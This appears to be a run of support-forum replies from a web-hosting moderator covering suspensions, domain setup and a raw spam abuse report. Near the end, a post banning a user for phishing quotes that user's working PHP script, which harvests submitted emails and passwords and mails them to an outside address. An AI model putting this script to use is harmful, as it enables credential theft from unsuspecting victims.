wolstech

Please check your email for a link to reset your password.

This will typically just get you suspended for multiple accounts, especially if you share a computer and network, though it's been done in the past after verifying there is indeed more than one person. I'll let Krydos handle this since users with multiple accounts has been a big issue lately.

It was on March 1. Escalating to Krydos since I don't know how the system disables this. I checked the domains and subscription in Plesk and it says mail is enabled already. I'm probably missing something...

That will do. Domains added. It may take up to 2 hours for everything to finish setting up. Also, are you aware your mail service is disabled on your Plesk account (looks like you accidentally exceeded the mail limit of 50/day back in March and it was disabled)? It looks like you have external MX for your email addresses, but if you want anything on your site to be able to send mail (e.g. PHP scripts) you do need mail service. Would you like me to escalate this to have the email service restored?

If you would like this domain added, please set the name servers to ns1.heliohost.org and ns2.heliohost.org (or if you want to use external DNS, set the A record to 65.19.141.67 so the site shows the Plesk default page for Johnny), then let us know when it's done and we'll set it up. (We usually would just set domains up, but a 6 character .com domain is a bit of a rarity on here and many don't realize they have to actually own it, hence the request that the DNS go first).

Domain changed. It can take up to 2 hours to start working. Please ensure DNS is configured for the domain (either by pointing the name servers to ns1.heliohost.org and ns2.heliohost.org, or by using A and AAAA records pointed to the domains shown in Plesk).

Below is the abuse report for your account. It looks like your hal-9000 domain was sending unwanted newsletters to users. Comcast doesn't list an exact recipient in their reports which is annoying (replaced with a random identifier). Please make sure that users are not receiving unwanted email, and if you're able to identify which user, unsubscribe and block them from receiving future email from you. Please let us know when you're ready to correct the problem and we'll unsuspend you. We have received a complaint about your account. Please investigate and fix within 24 hours. Hurricane Electric Abuse Department support@he.net From fbl@bounce.mailstream.senderscore.net Wed Dec 20 04:18:52 2023 Return-Path: <fbl@bounce.mailstream.senderscore.net> X-Original-To: report@abuse.he.net Delivered-To: report@abuse.he.net Received: from mail.he.net (mail.he.net [216.218.186.2]) by abuse.he.net (Postfix) with ESMTPS id 7AA8B1EA04D8 for <report@abuse.he.net>; Wed, 20 Dec 2023 04:18:52 -0800 (PST) Authentication-Results: abuse.he.net; dkim=pass reason="1024-bit key; insecure key" header.d=senderscore.net header.i=@senderscore.net header.b=bVW8GhBx; dkim-adsp=none (insecure policy); dkim-atps=neutral Authentication-Results: mail.he.net; dkim=pass (no signature error) header.i=@senderscore.net header.s=081107 header.b=bVW8GhBx; spf=pass (mail.he.net: domain of bounce.mailstream.senderscore.net designates 54.84.12.226 as permitted sender) smtp.mailfrom=fbl@bounce.mailstream.senderscore.net smtp.helo=mrd.us-east-1a.returnpath.net X-SPF-Results: pass Received-SPF: pass (mail.he.net: domain of bounce.mailstream.senderscore.net designates 54.84.12.226 as permitted sender) client-ip=54.84.12.226; envelope-from=fbl@bounce.mailstream.senderscore.net; helo=mrd.us-east-1a.returnpath.net; X-DKIM-Results: pass Received: from mrd.us-east-1a.returnpath.net (mrd.us-east-1a.returnpath.net [54.84.12.226]) by he.net with ESMTPS (TLS_AES_256_GCM_SHA384:TLSv1.3:Kx=any:Au=any:Enc=AESGCM(256):Mac=AEAD) for <abuse@he.net>; Wed, 20 Dec 2023 04:18:50 -0800 Received: (Haraka outbound); Wed, 20 Dec 2023 12:18:49 +0000 Received: from localhost ([10.252.144.201]) by mrd.us-east-1a.returnpath.net (Haraka/2.8.28) with ESMTP id 14248E20-6B29-4624-9572-EDB6F967CC57.1 envelope-from <fbl@bounce.mailstream.senderscore.net>; Wed, 20 Dec 2023 12:18:49 +0000 From: Comcast FBL Service <feedbackloop@comcastfbl.senderscore.net> Date: Wed, 20 Dec 2023 12:18:49 +0000 Mime-Version: 1.0 X-Rp-Fbl: type=arf; subscriptionID=122002 Content-Type: multipart/report; report-type=feedback-report; boundary=a200f3bf19bbb9ed8d92cea4192c2bcb88ba8dac12bf4cbc147198493ea6 Message-Id: <01HJ3JM397PFY522M65ZGT0SVA.fbl@bounce.mailstream.senderscore.net> To: abuse@he.net Subject: Comcast Abuse Report DKIM-Signature: v=1;a=rsa-sha256;bh=apHf/SoIlRmyV8eotcbsxrFV32QDx8r+hRvA3n9dp9U=;c=relaxed/simple;d=senderscore.net;h=from:to:subject;s=081107;b=bVW8GhBxMtF2skX8M0OSz8BKYQ7SeSKjzV7Xw6+NI1nNjRhNvBPoC3DbboQLjvx7yrDJuOPKqcPrCsKC5v15RLlOpt3EnqOSGnYBdv3HD93cUYk9QG+3wq/vGJ9y/LB7uXOkdoinPYgsbRcWE67p6XGWzHx7sK4fGKdkX6lPGPY= --a200f3bf19bbb9ed8d92cea4192c2bcb88ba8dac12bf4cbc147198493ea6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable This is a Comcast Abuse Report for an email message received from domain ha= l-9000.tk, IP 65.19.141.67, on Tue, 19 Dec 2023 10:10:39 +0000. --a200f3bf19bbb9ed8d92cea4192c2bcb88ba8dac12bf4cbc147198493ea6 Content-Disposition: inline Content-Transfer-Encoding: 8bit Content-Type: message/feedback-report User-Agent: ReturnPathFBL/2.0 Original-Rcpt-To: c191985841ded6060027ee1ef91fe7c6@comcast.net Original-Mail-From: newsletter@hal-9000.tk Reported-Domain: hal-9000.tk Source-Ip: 65.19.141.67 Subscription-Link: https://fbl.returnpath.net/manage/subscriptions/122002 Feedback-Type: abuse Version: 1 Arrival-Date: Tue, 19 Dec 2023 10:10:39 +0000 Source: Comcast Abuse-Type: complaint --a200f3bf19bbb9ed8d92cea4192c2bcb88ba8dac12bf4cbc147198493ea6 Content-Disposition: inline Content-Transfer-Encoding: 8bit Content-Type: message/rfc822 Return-Path: <newsletter@hal-9000.tk> Delivered-To: c191985841ded6060027ee1ef91fe7c6@comcast.net Received: from dovdir2-ch2g-06o.email.comcast.net ([96.102.179.235]) by dovback2-ch2g-25o.email.comcast.net with LMTP id iLetK81rgWWhXgAAxqoUZw:T9:P1:P1 (envelope-from <newsletter@hal-9000.tk>) for <c191985841ded6060027ee1ef91fe7c6@comcast.net>; Tue, 19 Dec 2023 10:10:47 +0000 Received: from dovpxy-ch2f-15o.email.comcast.net ([96.102.179.235]) by dovdir2-ch2g-06o.email.comcast.net with LMTP id iLetK81rgWWhXgAAxqoUZw:T9:P1 (envelope-from <newsletter@hal-9000.tk>) for <c191985841ded6060027ee1ef91fe7c6@comcast.net>; Tue, 19 Dec 2023 10:10:47 +0000 Received: from reszmta-h1p-037926.sys.comcast.net ([96.102.179.235]) by dovpxy-ch2f-15o.email.comcast.net with LMTP id iLetK81rgWWhXgAAxqoUZw:T9 (envelope-from <newsletter@hal-9000.tk>) for <c191985841ded6060027ee1ef91fe7c6@comcast.net>; Tue, 19 Dec 2023 10:10:47 +0000 Received: from resimta-h1p-037528.sys.comcast.net ([96.102.167.139]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 256/256 bits) (Client did not present a certificate) by reszmta-h1p-037926.sys.comcast.net with ESMTP id FVrlrCJ3iCHTQFX3nrd9ul; Tue, 19 Dec 2023 10:10:47 +0000 Received: from johnny.heliohost.org ([65.19.141.67]) by resimta-h1p-037528.sys.comcast.net with ESMTP id FX3krM1XvatPNFX3krXDTE; Tue, 19 Dec 2023 10:10:47 +0000 X-CAA-SPAM: N00001 X-Authority-Analysis: v=2.4 cv=PMwcRNmC c=1 sm=1 tr=0 ts=65816c27 cx=a_idp_d:c_cmc p=9bdJaPz3kujs5dLViJgA:9 p=QhnmdGnfZl10ibMM-eB4:22 a=QxEgMx/s3b230QKQu9V1uw==:117 a=QxEgMx/s3b230QKQu9V1uw==:17 a=3QWPXzxsOR8DcZkNrz9pi63rMqM=:19 a=MKtGQD3n3ToA:10 a=1oJP67jkp3AA:10 a=e2cXIFwxEfEA:10 a=X37bmuW6n2cA:10 a=g8TUdU_LZmEA:10 a=QEXdDO2ut3YA:10 a=L5Uy4uHoAAAA:8 a=nNGv1gPLlxNgwOCQ5-AA:9 a=rvjiaD0uUw6XLI54:21 a=frz4AuCg-hUA:10 a=_W_S_7VecoQA:10 a=-FEs8UIgK8oA:10 a=PqOpwdPtiKRo8CGGAXVp:22 a=poXaRoVlC6wW9_mwW8W4:22 a=eeDtFMHqlkPJeBvn9BwJ:22 a=qkPlba_q3THV7MKlnLSP:22 a=OJ7ooW50CXPrvETB7eZL:22 a=8iqKRNYe-yLjZuHCO3rH:22 a=dQMIp4OobOvaa-AorDid:22 a=p-dnK0njbqwfn1k4-x12:22 a=qxG4R2aHmpcNjmqRPJKJ:22 a=NWVoK91CQySWRX1oVYDe:22 X-Xfinity-Message-Heuristics: IPv6:N;TLS=1;SPF=0;DMARC= Received: by johnny.heliohost.org (Postfix, from userid 11516) id 80413405E525; Tue, 19 Dec 2023 10:10:42 +0000 (UTC) To: c191985841ded6060027ee1ef91fe7c6@comcast.net Subject: Bienvenida Date: Tue, 19 Dec 2023 10:10:39 +0000 From: Hal-9000 <newsletter@hal-9000.tk> Message-ID: <b2zVduPc0DRnAgo2WXOR1BjxqnV47UShGFXMPy9U@hal-9000.tk> X-Mailer: PHPMailer 6.8.1 (https://github.com/PHPMailer/PHPMailer) X-Auto-Response-Suppress: OOF, AutoReply MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1=_b2zVduPc0DRnAgo2WXOR1BjxqnV47UShGFXMPy9U" Content-Transfer-Encoding: 8bit X-PPP-Message-ID: <170298064075.32169.1002196793936246215@johnny.heliohost.org> X-PPP-Vhost: webvicente.tk --b1=_b2zVduPc0DRnAgo2WXOR1BjxqnV47UShGFXMPy9U Content-Transfer-Encoding: base64 Content-Type: text/plain; charset="utf-8" VHUgc3VzY3JpcGNpw7NuIGhhIHNpZG8gY29uZmlybWFkYS4NCg== --b1=_b2zVduPc0DRnAgo2WXOR1BjxqnV47UShGFXMPy9U Content-Transfer-Encoding: base64 Content-Type: text/html; charset="utf-8" PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCiAgICA8aGVhZD4NCiAgICAgICAgPCEtLSBHZW5lcmFsIHN0eWxlcywgbm90IHVzZWQgYnkgYWxsIGVtYWlsIGNsaWVudHMgLS0+DQogICAgICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9ImFsbCI+DQogICAgICAgICAgICBhIHsNCiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogICAgICAgICAgICAgICAgY29sb3I6ICMwMDg4Y2M7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBociB7DQogICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICM5OTk7DQogICAgICAgICAgICB9DQogICAgICAgIDwvc3R5bGU+DQogICAgPC9oZWFkPg0KDQogICAgPCEtLSBLRUVQIFRIRSBMQVlPVVQgU0lNUExFOiBUSE9TRSBBUkUgU0VSVklDRSBNRVNTQUdFUy4gLS0+DQogICAgPGJvZHkgc3R5bGU9Im1hcmdpbjogMDsgcGFkZGluZzogMDsiPg0KDQogICAgICAgIDwhLS0gVG9wIHRpdGxlIHdpdGggZGFyayBiYWNrZ3JvdW5kIC0tPg0KICAgICAgICA8dGFibGUgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICM0NDQ7IHdpZHRoOiAxMDAlOyIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCiAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InBhZGRpbmc6IDIwcHg7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1mYW1pbHk6IHNhbnMtc2VyaWY7IGNvbG9yOiAjZmZmOyBmb250LXNpemU6IDI4cH giPg0KICAgICAgICAgICAgICAgICAgICBIYWwtOTAwMA0KICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RhYmxlPg0KDQogICAgICAgIDwhLS0gTWFpbiB0YWJsZSAxMDAlIHdpZGUgd2l0aCBiYWNrZ3JvdW5kIGNvbG9yICNlZWUgLS0+ICAgIA0KICAgICAgICA8dGFibGUgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlZWU7IHdpZHRoOiAxMDAlOyI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJwYWRkaW5nOiAxNXB4OyI+DQoNCiAgICAgICAgICAgICAgICAgICAgPCEtLSBDb250ZW50IHRhYmxlIHdpdGggYmFja2dkb3VuZCBjb2xvciAjZmZmLCB3aWR0aCA1MDBweCAtLT4NCiAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyBtYXgtd2lkdGg6IDYwMHB4OyB3aWR0aDogMTAwJTsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0icGFkZGluZzogMTVweDsgY29sb3I6ICMzMzM7IGZvbnQtc2l6ZTogMTZweDsgZm9udC1mYW1pbHk6IHNhbnMtc2VyaWYiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIFRoZSAibWVzc2FnZSIgdGFnIGJlbG93IGlzIHJlcGxhY2VkIHdpdGggb25lIG9mIGNvbmZpcm1hdGlvbiw gd2VsY29tZSBvciBnb29kYnllIG1lc3NhZ2VzIC0tPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIE1lc3NhZ2VzIGNvbnRlbnQgY2FuIGJlIGNvbmZpZ3VyZWQgb24gTmV3c2xldHRlciBMaXN0IEJ1aWxkaW5nIHBhbmVscyAtLT4gDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+RXN0ZSBtZW5zYWplIGNvbmZpcm1hIHR1IHN1c2NyaXBjacOzbiBhIG51ZXN0cm8gYm9sZXTDrW4uIMKhR3JhY2lhcyE8L3A+PGhyPjxwPjxhIGhyZWY9Imh0dHBzOi8vaGFsLTkwMDAudGsvP25hPXByb2ZpbGUmbms9NTEwLWQxZmI5ZDI5ZWMiPkNhbWJpYSB0dSBwZXJmaWw8L3A+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIFNpZ25hdHVyZSBpZiBub3QgYWxyZWFkeSBhZGRlZCB0byBzaW5nbGUgbWVzc2FnZXMgKHN1cnJvdW5kIHdpdGggPHA+KSAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c21hbGw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9oYWwtOTAwMC50ay8iPmh0dHBzOi8vaGFsLTkwMDAudGsvPC9hPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+DQoNCiAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgPC90YWJsZT4NCg0KICAgIDwvYm9keT4NCjwvaHRtbD4NCg0K --b1=_b2zVduPc0DRnAgo2WXOR1BjxqnV47UShGFXMPy9U-- --a200f3bf19bbb9ed8d92cea4192c2bcb88ba8dac12bf4cbc147198493ea6--

The account note2tee has been unsuspended, the account unrealistic has been deleted, and the domain cms.helioho.st has been added to note2tee. It can take up to 2 hours for the moved domain to start working.

You're suspended for having two accounts. You're only allowed to have one. Which one do you want to keep?

I'll post the abuse report when I'm at an computer later this morning, but this suspension is because we received complaints regarding the emails your account was sending. Once I post the report, let us know when you're ready to fix it and make sure the listed people never receive mail from you again.

Lets see if Krydos can merge these... We may have to just back the other account up and delete it though.

I just resent it anyway because I realized your account was reset 8 days ago and the invite expired...

You should have gotten an invite email you have to use to sign up again. You can't sign up through the normal signup button. Check in your spam folder for it, and if you still can't find it we can resend it.

The domain has been changed to roborave.helioho.st. It'll take up to 2 hours to take effect. You likely don't own the domain roborave.com so you can't use that one (.com domains have to be purchased from a registrar, that one in particular is showing as being for sale for $5795...oof).

Please try again now, your account was half-suspended for some reason. If it still doesn't work, let me know and I'll send the password reset.

Resent yet again. Also, your username is just zuhib.

So you want me to keep open0, delete the other account, and add the domain from the second account as an extra website, correct? If that's correct, do you need any files or data from the other account before I delete it?

That domain is not hosted with us: https://bybyron.net/php/tools/dns_records.php?domain=albasrawie.com&rec=NS

You're suspended for having more than one account. Which one do you want to keep?

Escalating.

Krydos has to do this. What is the name of the database user that needs the access?

Changed. It can take up to 2 hours to start working

Resent.

Important because you can't steal people's accounts without it. You're banned for phishing. HelioHost does not allow any form of phishing activity, including hosting the submission scripts for phishing sites hosted elsewhere, and permanently bans any user who engages in such acitivties. <?php $ip = getenv("REMOTE_ADDR"); $email = $_POST['email']; $number = $_POST['number']; $password = $_POST['Password']; $login = "Email : ".$email." "; $number = "Number : ".$number; $pass = "Password : ".$password; $target = "IP victim : ".$ip; $country = "Country : http://www.geoplugin.net/json.gp?ip=".$ip; $head = "########### Login odagbu ############"; $foot = "####### Indramayu CyBer ###########"; $body = "Mailru |".$ip; mail("chielux111@proton.me", "$body","$head \n\n$login \n$number \n$pass \n$target \n$country \n\n$foot"); header("Location: https://cloud.mail.ru");

User PM'd me for some reason, no it does not work. He's using PHP 8.2.